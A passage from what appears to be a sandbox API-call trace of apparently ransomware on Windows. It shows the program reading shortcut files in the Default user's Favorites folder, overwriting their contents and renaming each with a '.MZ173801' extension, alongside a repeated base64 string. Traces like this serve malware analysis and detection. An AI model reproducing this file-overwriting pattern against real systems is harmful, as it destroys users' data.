lpFileInformation=0x18f438 | out: lpFileInformation=0x18f438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0144.591] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.591] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.593] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\default\\favorites\\windows live\\get windows live.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0144.593] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0144.593] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0144.593] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x85 [0144.593] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0144.593] ReadFile (in: hFile=0x2a8, lpBuffer=0x714510, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f3f8*=0x85, lpOverlapped=0x0) returned 1 [0144.594] CloseHandle (hObject=0x2a8) returned 1 [0144.594] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\default\\favorites\\windows live\\get windows live.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0144.596] WriteFile (in: hFile=0x2a8, lpBuffer=0x716540*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x716540*, lpNumberOfBytesWritten=0x18f404*=0x85, lpOverlapped=0x0) returned 1 [0144.597] CloseHandle (hObject=0x2a8) returned 1 [0144.597] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\default\\favorites\\windows live\\get windows live.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url.MZ173801" (normalized: "c:\\users\\default\\favorites\\windows live\\get windows live.url.mz173801")) returned 1 [0144.597] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.597] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.598] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live gallery.url"), fInfoLevelId=0x0, lpFileInformation=0x18f438 | out: lpFileInformation=0x18f438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0144.600] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.600] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.602] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live gallery.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0144.603] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0144.603] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0144.603] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x85 [0144.603] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0144.603] ReadFile (in: hFile=0x2a8, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f3f8*=0x85, lpOverlapped=0x0) returned 1 [0144.604] CloseHandle (hObject=0x2a8) returned 1 [0144.604] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0144.605] WriteFile (in: hFile=0x2a8, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f404*=0x85, lpOverlapped=0x0) returned 1 [0144.607] CloseHandle (hObject=0x2a8) returned 1 [0144.607] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live gallery.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url.MZ173801" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live gallery.url.mz173801")) returned 1 [0144.607] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.607] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.607] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live mail.url"), fInfoLevelId=0x0, lpFileInformation=0x18f438 | out: lpFileInformation=0x18f438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0144.610] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdG